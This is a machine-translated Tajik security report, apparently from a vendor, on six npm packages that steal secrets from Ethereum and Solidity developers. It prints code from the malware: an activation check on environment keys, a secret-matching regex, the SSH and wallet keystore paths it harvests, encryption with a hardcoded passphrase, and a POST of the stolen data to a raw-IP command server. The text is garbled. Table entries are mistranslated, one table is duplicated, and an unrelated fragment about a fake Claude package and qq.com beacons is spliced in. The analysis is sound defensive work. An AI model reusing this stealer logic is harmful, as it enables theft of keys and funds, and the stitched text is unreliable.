ХИБ; DR
6 майи соли 2026, як ношири ягонаи npm, namikazesarada010206, шаш бастаи зарароварро, ки экосистемаи таҳиягарони Ethereum, Solidity ва DeFi-ро ҳадаф қарор додаанд, пахш кард.
Бастаҳо, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsва web3-utils-core, номҳои қобили қабулро истифода бурд, ки барои абзорҳои маъмули Web3 ба китобхонаҳои ёрирасон монанд буданд.
Ҳамаи шаш баста дорои якхела буданд telemetry.js файл. Файл дар тамоми кластер бо SHA-256 якхела аз ҷиҳати байт буд:
Нармафзори зараровар ҳангоми насбкунӣ кор намекунад. preinstall or postinstall қалмоқ. Ба ҷои ин, он ҳангоми ворид кардани баста тавассути require().
Ин тафсилот муҳим аст.
Имплант то он даме, ки таҳиягар воқеан бастаро истифода барад, интизор мешавад. Сипас, он месанҷад, ки оё истгоҳи корӣ ба муҳити воқеии таҳияи Ethereum / Solidity монанд аст ё не. Он калидҳои Alchemy ё Infura, калидҳои хусусӣ, мнемоника, калидҳои паҳнкунанда ё директорияи маҳаллии Foundry-ро ҷустуҷӯ мекунад.
Агар мизбон мувофиқат кунад, дузд калидҳои махфии SSH, мағозаҳои калидҳои ҳамёнҳои Foundry / Geth / Brownie-ро ҷамъ мекунад, .env* файлҳо ва тағйирёбандаҳои ҳассоси муҳити зист. Он бастаро бо истифода аз ибораи рамзгузоришуда бо AES-256-GCM рамзгузорӣ мекунад ва онро ба нуқтаи ниҳоии IPv4 C2 хом бо тасдиқи TLS ғайрифаъол мефиристад.
Системаи огоҳкунии барвақтии нармафзори зараровар (MEW)-и Xygeni ҳамаи шаш бастаро ҳамчун зараровар тасдиқ кард. Бастаи гузориши несткунии сабти ном дар npm дар ҳоли интизорӣ аст.
Кластер: Шаш баста, як ношир
Ҳисоби ношир namikazesarada010206 ба суроғаи тасдиқнашудаи Gmail пайваст карда шуда буд namikazesarada010206@gmail.com.
Ин маърака ҳамчун нашри якрӯза дар 6 майи соли 2026 пайдо шуд. Ҳамаи шаш баста чунин версия карда шуданд 1.0.0, вобастагии сифрӣ ба вақти иҷро дошт ва танҳо се файлро фиристода буд:
package.json index.js telemetry.js Онҳо инчунин ҳамон анбори манбаъро эълон карданд:
https://github.com/harunosakura030303-maker/evmchain-config Се бастаи аввал аз ҷониби сканерҳои MEW ҳангоми нашри аввал сабт карда шуданд. Се бастаи боқимонда пас аз баррасии таҳлилгарони профили npm-и ношир бо нишони маҷбурӣ қайд карда шуданд. Як бор ҳамон байтҳо якхела буданд telemetry.js дар саросари кластер тасдиқ карда шуд, онҳо аз рӯи мувофиқат ҳамчун зараровар баста шуданд.
| бастаи | Version | npm нашр шудааст | Чиптаи MEW | Ҳукми |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Бадовар |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Бадовар |
| утилитҳои hardhat-core | 1.0.0 | 2026-05-06 | #51051 | Бадовар |
| утилитҳои evm | 1.0.0 | 2026-05-06 | #51069 | Бадхоҳона, аз рӯи пайвастагӣ |
| утилитҳои рехтагарӣ | 1.0.0 | 2026-05-06 | #51071 | Бадхоҳона, аз рӯи пайвастагӣ |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Бадхоҳона, аз рӯи пайвастагӣ |
Стратегияи номгузорӣ содда, вале самаранок аст.
Ин бастаҳо номҳои дақиқи болообро тақлид намекунанд. Ба ҷои ин, онҳо пасвандҳои эҳтимолии "фоиданок"-ро истифода мебаранд, ба монанди -core, -utilsва -utils-coreИн онҳоро ба китобхонаҳои ҳамроҳ монанд мекунад, ки таҳиягар метавонад интизор дошта бошад, ки дар наздикии абзорҳои Web3 бубинад.
| Бастаи зараровар | Ҳадафи қонунӣ |
|---|---|
| viem-core | viem, як муштарии машҳури Ethereum TypeScript |
| viem-utils-core | вьем |
| утилитҳои hardhat-core | кулоҳи сахт, муҳити рушди Solidity-и асосӣ |
| утилитҳои evm | Фазои номи асбобҳои умумии EVM |
| утилитҳои рехтагарӣ | рехтагарӣ, занҷири асбобҳои Solidity |
| web3-utils-core | web3-utils, ёварони Web3.js |
Ин намунаи «бастаи иловагӣ» аст: на «Ман бастаи воқеӣ ҳастам», балки «Ман дар атрофи бастаи воқеӣ ба як ёвари оқилона монанд мешавам».
Барои таҳиягарони DeFi, ки босуръат ҳаракат мекунанд, ин барои эҷоди хатар кофӣ аст.
Вақте ки баста ворид карда мешавад, чӣ мешавад
Занҷири ҳамла хурд, қасдан ва ба муҳитҳои таҳияи криптовалюта нигаронида шудааст.
Қалмоқи насбкунӣ вуҷуд надорад. Ба ҷои ин, ҳар як баста дорои як аст index.js ки функсияи stub-ро содир мекунад ва сипас модули телеметрияи зарароварро бор мекунад.
require('./telemetry').init(); Ин маънои онро дорад, ки нармафзори зараровар ҳангоми воридоти аввал фаъол мешавад.
Ин аз ҷиҳати амалиётӣ барои ҳамлагар муфид аст. Бисёре аз сканнерҳо ва қуттиҳои рег ба рафтори вақти насб тамаркуз мекунанд. Ин баста интизор мешавад, то он даме ки таҳиягар, скрипти сохтмон, маҷмӯи санҷишӣ ё масири вақти иҷро онро истифода барад.
Дарвозаи фаъолсозӣ: Танҳо дар истгоҳҳои кории воқеии таҳиягарони Web3 оташ занед
Қисми муҳимтарини имплантатсия дарвозаи фаъолсозӣ аст.
Нармафзори зараровар тағирёбандаҳои муҳити зистро, ки одатан дар мошинҳои таҳиягарони Ethereum / Solidity мавҷуданд, тафтиш мекунад:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Он инчунин тафтиш мекунад, ки оё Foundry насб шудааст ё не:
fs.existsSync(path.join(os.homedir(), '.foundry')) Агар ҳеҷ яке аз шартҳо дуруст набошад, функсия бармегардад ва ҳеҷ кор намекунад.
Ин бастаро дар муҳитҳои таҳлили умумӣ оромтар мекунад. Қуттии рег бидуни Foundry, калидҳои Alchemy, калидҳои Infura, калидҳои хусусӣ ё мнемоника метавонад воридоти безарарро бубинад.
Дар хости мувофиқ, нармафзори зараровар пеш аз ҷамъоварӣ аз 60 то 90 сония интизор мешавад:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Таъхир ҳамбастагии возеҳро байни воридот ва эксфилтратсия коҳиш медиҳад. .unref() инчунин имкон медиҳад, ки агар баста дар скрипти кӯтоҳмуддат ворид карда шуда бошад, раванди хост ба таври муқаррарӣ баромад кунад.
Ин рафтори садоноки шикастан ва гирифтан нест. Ин як дуздии мақсаднок аст, ки барои пешгирӣ аз корандозӣ тарҳрезӣ шудааст, агар муҳити таҳиягар аз он дуздӣ кардан арзанда набошад.
Он чизе, ки дузд ҷамъ мекунад
Пас аз гузаштани дарвозаи фаъолсозӣ, нармафзори зараровар аз манбаъҳое, ки дар таҳияи Web3 аз ҳама муҳимтаранд, ҷамъоварӣ мекунад: калидҳои хусусӣ, анборҳои калидҳои ҳамён, эътимодномаҳои ҷойгиркунӣ, асрори абрӣ, токенҳои npm ва конфигуратсияи маҳаллии лоиҳа.
| сарчашма | Чӣ ҷамъоварӣ шудааст |
|---|---|
| process.env | Ҳар гуна тағйирёбандае, ки ба /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i мувофиқат мекунад |
| ~/.ssh/* | Файлҳое, ки дорои PRIVATE KEY ё BEGIN OPENSSH мебошанд, аз ҷумла мундариҷаи пурраи файл |
| ~/.рехтагарӣ/мағозаҳои калидӣ/* | Файлҳои мағозаи калидҳои ҳамёни Foundry |
| ~/.ethereum/калиддӯкон/* | Файлҳои мағозаи калидҳои ҳамёни Гет |
| ~/.braunie/ҳисобҳо/* | Файлҳои мағозаи калидҳои ҳамёни Brownie |
| ${cwd}/.env | Мундариҷаи пурраи файл |
| ${cwd}/.env.local | Мундариҷаи пурраи файл |
| ${cwd}/.env.production | Мундариҷаи пурраи файл |
| ${cwd}/.env.development | Мундариҷаи пурраи файл |
| номи OS.host() | Метамаълумоти хост |
| crypto.randomUUID() | Муайянкунандаи қурбонӣ/сессия |
| Сана.ҳоло() | Мӯҳри вақти ҷамъоварӣ |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Токенҳои ATTA инҳоянд:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Мо натавонистем тасдиқ кунем, ки оё телеметрия таҳлили худи оператор буд ё канали алоҳидаи пулӣ. Токенҳои ATTA дар ҳарду намунае, ки мо таҳқиқ кардем, якхелаанд.
Кластери Б: ҳейбай
claude.hk Фишинги OAuth + ANTHROPIC_BASE_URL
Намунаи 1 апрел шохаи аввалияи маъракаи пештара аст.
heibai:2.1.88-claude.hk-4 нашр шудааст аз ҷониби wuguoqiangvip28, ҳисобе, ки 7 июни соли 2025 таъсис дода шудааст. Баста ба таври возеҳ худро бар зидди қонунӣ версия кардааст 2.1.88 Озодкунии антропӣ.
Он бо MITM-и сертификати CA-ро мушкиле надорад. Ба ҷои ин, он ба корбар дар бораи нуқтаи ниҳоии OAuth дурӯғ мегӯяд.
Иловаҳои зараровар дар болои манбаи фошшудаи рамзи Клод иборатанд аз:
| сарчашма | Чӣ ҷамъоварӣ шудааст |
|---|---|
| process.env | Ҳар гуна тағйирёбандае, ки ба /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i мувофиқат мекунад |
| ~/.ssh/* | Файлҳое, ки дорои PRIVATE KEY ё BEGIN OPENSSH мебошанд, аз ҷумла мундариҷаи пурраи файл |
| ~/.рехтагарӣ/мағозаҳои калидӣ/* | Файлҳои мағозаи калидҳои ҳамёни Foundry |
| ~/.ethereum/калиддӯкон/* | Файлҳои мағозаи калидҳои ҳамёни Гет |
| ~/.braunie/ҳисобҳо/* | Файлҳои мағозаи калидҳои ҳамёни Brownie |
| ${cwd}/.env | Мундариҷаи пурраи файл |
| ${cwd}/.env.local | Мундариҷаи пурраи файл |
| ${cwd}/.env.production | Мундариҷаи пурраи файл |
| ${cwd}/.env.development | Мундариҷаи пурраи файл |
| номи OS.host() | Метамаълумоти хост |
| crypto.randomUUID() | Муайянкунандаи қурбонӣ/сессия |
| Сана.ҳоло() | Мӯҳри вақти ҷамъоварӣ |
Рӯйхати мақсаднок хеле мушаххас аст. Ин дуздии умумии браузер ё хароб кардани маълумоти васеъ нест. Он барои таҳиягароне пешбинӣ шудааст, ки барномаҳои Ethereum-ро месозанд, месанҷанд, ҷойгир мекунанд ё кор мекунанд.
Дохил кардани анборҳои калидии Foundry, Geth ва Brownie махсусан муҳим аст. Ин файлҳо метавонанд дастрасии мустақимро ба ҳамёнҳо ё шахсиятҳои ҷойгиркунӣ нишон диҳанд. Агар ҳамлагар онҳоро бо паролҳо, мнемоникаҳо ё асрори муҳити зист ҷуфт кунад, онҳо метавонанд маблағҳоро интиқол диҳанд, тақлидкунандагони ҷойгиркунандаро истифода баранд ё амалиёти шартномаҳои интеллектуалиро зери хатар гузоранд.
Рамзгузорӣ пеш аз эксфилтратсия
Нармафзори зараровар маълумоти ҷамъовардашударо пеш аз фиристодан рамзгузорӣ мекунад.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Рамзи рамзгузоришуда чунин аст:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Боркунии ниҳоӣ ҳамчун JSON печонида шудааст:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Рамзгузорӣ худ аз худ нармафзори зарароварро пешрафтатар намекунад. Аммо, он санҷиши шабакаро душвортар мекунад. Муҳофизе, ки баромади системаро тамошо мекунад, боркунии JSON-ро мебинад, аммо калидҳои дуздидашуда, файлҳои ҳамён ё... .env мундариҷа бидуни пароли сахт рамзгузорӣшуда ва мантиқи рамзкушоӣ.
Эксфилтратсия ба IPv4 C2 хом
Роҳи эксфилтратсия сахт рамзгузорӣ шудааст:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Нармафзори зараровар маълумотро ба инҳо мефиристад:
https://76.13.37.80:8443/api/v1/telemetry Ду тафсилот ба назар мерасанд.
Аввалан, C2 суроғаи IPv4-и хом аст, на домен. Ин ниёз ба бақайдгирии доменро аз байн мебарад ва аз баъзе ошкоркуниҳои вобаста ба домен пешгирӣ мекунад.
Дуюм, тасдиқи TLS бо инҳо ғайрифаъол аст:
rejectUnauthorized: false Ин ба нармафзори зараровар имкон медиҳад, ки ҳама гуна сертификат, аз ҷумла сертификатҳои худимзошударо, қабул кунад. Ба ибораи дигар, ҳамлагар интиқоли рамзгузоришударо бидуни ниёз ба сертификати эътибори оммавӣ ба даст меорад.
Мантиқи кӯшиши такрорӣ ва хости эҳтиётӣ вуҷуд надорад. Хатогиҳо хомӯшона фурӯ бурда мешаванд. Ин бастаро дар сурати C2 хомӯш ё дастнорас буданаш хомӯш нигоҳ медорад.
Чаро ин маърака муҳим аст
Аксари бастаҳои зараровари npm, ки барои таҳиягарон равона шудаанд, эътимодномаҳои васеъро пайгирӣ мекунанд: токенҳои npm, калидҳои AWS, токенҳои GitHub ё .npmrc файлҳо.
Ин маърака ҳадафро маҳдуд мекунад.
Он нишонаҳоеро меҷӯяд, ки дастгоҳ ба як таҳиягари Ethereum ё Solidity тааллуқ дорад. Сипас, он маҳз дороиҳоеро, ки дар он муҳит муҳиманд, мегирад: анборҳои калидҳои ҳамён, калидҳои хусусӣ, мнемоника, калидҳои паҳнкунанда, .env файлҳо ва калидҳои SSH.
Ин маъракаро барои дастаҳои Web3 нисбат ба дузди npm-и умумӣ хатарноктар мекунад.
Сирояти муваффақ метавонад боиси пайдоиши инҳо гардад:
- Ҳамёнҳои ҷойгиркунӣ
- Калидҳои идоракунии шартномаи интеллектуалӣ
- Калидҳои провайдери RPC
- Эътимодномаҳои ҷойгиркунии абрӣ
- нашри токенҳои npm
- Дастрасии SSH ба таҳиягар ё сохтани инфрасохтор
- Асрори лоиҳа дар он нигоҳ дошта мешавад
.envфайлҳои - Анборҳои калидҳои ҳамён барои Foundry, Geth ё Brownie
Номҳои бастаҳо инчунин муҳандисии иҷтимоии возеҳро нишон медиҳанд. Онҳо экосистемаи таҳиягарони Web3-ро тавассути номҳои шиноси абзорҳо ҳадаф қарор медиҳанд: viem, hardhat, foundry, evmва web3.
Ба иҷрокунанда лозим нест, ки лоиҳаҳои воқеиро ба созиш оварад. Онҳо танҳо ба як таҳиягар ниёз доранд, то он чизеро насб кунанд, ки ба як бастаи ҳамроҳи муносиб монанд аст.
Нишондиҳандаҳои созиш ва ошкоркунӣ
| Бастаҳо ва ношир | |
|---|---|
| соҳа | арзиши |
| ношири npm | namikazesarada010206 |
| Почтаи электронии ношир | namikazesarada010206@gmail.com |
| почтаи электронӣ тасдиқ карда шуд | Не |
| SCM тасдиқ шудааст | Не |
| Рейтинги обрӯ | 1.0 |
| бастаҳои | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, döküm-utils, web3-utils-core |
| версияҳои | Ҳамаи 1.0.0 |
| Анбори манбаъ | https://github.com/harunosakura030303-maker/evmchain-config |
| Зараровар тасдиқ шудааст | Ҳамаи шаш баста |
| шабакаи | |
|---|---|
| Намуди | арзиши |
| Нуқтаи ниҳоии C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP-и C2 | 76.13.37.80 |
| Порти C2 | 8443/tcp |
| Рафтори TLS | рад карданИҷозатнопазир: дурӯғ |
| Нақшаи боркашӣ | {"v":2,"iv": "д": "т": } |
| Файлҳо ва хэшҳо | |
|---|---|
| Намуди | арзиши |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Тарҳбандии баста | баста.json, index.js, telemetry.js |
| Шумораи файлҳо | 3 |
| Андозаи умумии тахминӣ | 3.4 KB |
Сигналҳои фаъолсозӣ
Нармафзори зараровар ин тағирёбандаҳои муҳити зистро тафтиш мекунад:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Он инчунин тафтиш мекунад:
~/.foundry/ Роҳҳои хости мақсаднок
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Коллексияи муқаррарӣ
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Эзоҳҳои ошкоркунӣ
Якчанд қоидаҳо ин маъракаро бидуни ниёз ба таҳлили пурраи рафторӣ пайгирӣ мекунанд.
Аввалан, файлҳои қулфро барои шаш номи бастаҳои зараровар скан кунед:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Ҳар гуна мувофиқат дар package-lock.json, yarn.lock, pnpm-lock.yaml, ё node_modules Таърих бояд ҳамчун як ҳодисаи ҷиддӣ баррасӣ шавад.
Дуюм, назорат кардани равандҳои Node.js, ки роҳҳои анбори калидҳои ҳамёнро мехонанд:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Ин барои бастае, ки ҳамчун вобастагии ёрирасон ворид карда мешавад, кам рафтори қонунӣ аст. Ин махсусан ҳангоми пайгирии фаъолияти шабакаи берунӣ шубҳанок аст.
Сеюм, пайвастҳои HTTPS-ро масдуд кунед ё огоҳ кунед ба:
76.13.37.80:8443 Хусусан вақте ки роҳи дархост чунин аст:
/api/v1/telemetry Чорум, ҷустуҷӯи бастаҳои npm, ки ин хусусиятҳоро дар бар мегиранд:
- Ношири нав ё камобрӯ
- Ҳисоби тасдиқнашудаи Gmail
- Номи бастаи ҳамшафати Web3
- Таърихи пурмазмуни анбор вуҷуд надорад
- Тарҳбандии бастаи хурд
index.jsки файли телеметрӣ ё ёрирасонро бор мекунад- Вобастагии вақти иҷро вуҷуд надорад
- Маҷмӯаи тағйирёбандаҳои ҳассоси муҳити зист
- Дастрасӣ ба мағозаи калидҳои ҳамён
Ин намуна нисбат ба як IOC-и ягона муфидтар аст, зеро бастаи навбатӣ метавонад суроғаи IP-ро тағир диҳад, аммо мантиқи ҳамон ҳадафгириро нигоҳ дорад.
Рӯйхати санҷиши вокуниш ба созиш
Агар таҳиягар яке аз шаш бастаро истифода бурда бошад ва муҳити онҳо бо дарвозаи фаъолсозӣ мувофиқат кунад, истгоҳи кориро ҳамчун осебдида баррасӣ кунед.
Ин мошинҳоеро дар бар мегирад, ки дар онҳо Foundry насб шудааст, калидҳои Alchemy ё Infura дар муҳит, калидҳои хусусӣ, мнемоника ё калидҳои ҷойгиркунанда мавҷуданд.
Ҷавоби тавсияшуда:
- Хостро аз шабака ҷудо кунед.
- Нигоҳ доред
node_modules, файлҳои қулфшуда, таърихи ҷилд ва гузоришҳои дахлдор барои криминалистика. - Ҳар як ҷуфти клавиатураи SSH-ро дар зери он гардонед
~/.ssh/. - Калидҳои ҳамёнро барои ҳар як мағозаи калидӣ дар зери он гардонед
~/.foundry,~/.ethereumва~/.brownie. - Маблағҳоро ба ҳамёнҳои нав интиқол диҳед.
- Ҳар як сирри нигоҳдошташударо гардонед
.env*файлҳо дар анборҳое, ки таҳиягар дар онҳо кор мекард. - Асрори муҳити мувофиқ ба регекси коллексияро гардонед, аз ҷумла калидҳои AWS, токенҳои npm, токенҳои ҷойгиркунӣ, калидҳои API, калидҳои хусусӣ, тухмҳо ва мнемоника.
- Аудити абр, npm, GitHub, провайдери RPC ва фаъолияти blockchain аз замони насби аввалин баста.
- Пеш аз истифодаи такрорӣ, истгоҳи кориро аз нав тасвир кунед.
Муҳофизон бояд чӣ кор кунанд
Ин маърака нишон медиҳад, ки чӣ гуна чопкунии npm дар атрофи экосистемаҳои таҳиягарони арзишманд таҳаввул меёбад.
Ба актёр истодагарӣ лозим набуд. Онҳо ба нофаҳмиҳо ниёз надоштанд. Онҳо ҳатто ба иҷрои вақти насб ниёз надоштанд.
Ба ҷои ин, онҳо ба се чиз такя мекарданд:
- Номҳои бастаҳои Web3-и эҳтимолӣ
- Фаъолсозӣ танҳо дар мошинҳои воқеии таҳияи крипто
- Дуздии мустақими файлҳо ва асроре, ки барои таҳиягарони Ethereum аз ҳама муҳимтаранд
Ин маъракаро дар сканкунии васеъ ба осонӣ аз даст медиҳад ва вақте ки он дар муҳити дуруст ҷойгир мешавад, хатарнок аст.
Барои дастаҳои Web3, дарс равшан аст: ба номҳои вобастагӣ ҳамчун як қисми модели таҳдиди худ муносибат кунед. Бастае, ки ба як ёвари безарар монанд аст, метавонад роҳи кӯтоҳтарин барои осебпазирии ҳамён гардад.
Ба феҳристи npm гузориш дода шуд. Мо ин паёмро вақте навсозӣ мекунем, ки ҳисоби ношир ва бастаҳо нест карда шаванд.




